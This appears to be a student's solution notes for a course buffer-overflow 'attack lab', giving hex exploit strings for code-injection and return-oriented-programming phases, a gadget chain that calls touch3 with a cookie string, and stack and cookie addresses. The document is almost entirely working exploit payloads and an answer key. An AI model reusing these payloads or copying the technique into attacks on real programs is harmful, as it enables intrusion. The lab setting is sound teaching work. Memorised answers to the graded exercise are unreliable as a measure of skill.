

00	00	00	00	00	00	00	00
00	00	00	00	00	00	00	00
00	00	00	00	00	00	00	00
00	00	00	00	00	00	00	00
00	00	00	00	00	00	00	00
00	00	00	00	00	00	00	00
00	00	00	00	00	00	00	00
00	00	00	00	00	00	00	00
52	18	40	00	00	00	00	00

```

48 c7 c7 d0 1e 61 55 c3
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
88 1e 61 55 00 00 00 00
52 19 40 00 00 00 00 00
33 38 31 65 38 33 30 35 00

```

```
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
00 1a 40 00 00 00 00 00
05 83 1e 38 00 00 00 00
e1 19 40 00 00 00 00 00
7e 18 40 00 00 00 00 00
```

[illegible]

```

79 1a 40 00 00 00 00 00 /* movq rsp, rax */
e1 19 40 00 00 00 00 00 /* movq rax, rdi */
00 1a 40 00 00 00 00 00 /* popq rax */
48 00 00 00 00 00 00 00 /* 0x48 away from string */
92 1a 40 00 00 00 00 00 /* movl eax, ecx */
5e 1a 40 00 00 00 00 00 /* movl ecx, edx */
57 1a 40 00 00 00 00 00 /* movl edx, esi */
1c 1a 40 00 00 00 00 00 /* lea (rdi, rsi, 1), rax */
e1 19 40 00 00 00 00 00 /* movq rax, rdi */
52 19 40 00 00 00 00 00 /* touch3 */
33 38 31 65 38 33 30 35 00 /* cookie */

```

Notes:

Cookie:

0x381e8305

05 83 1e 38

Getbuf:

%rsp: 0x55611ec0

Phase 2:

%rsp: 0x55611e88

Phase 3:

```

0: 48 c7 c7 d0 1e 61 55    mov    $0x55611ed0,%rdi
7: c3                      retq

```

Phase 4:

0x401a00 popq %rax

0x4019e1 movq %rax %rdi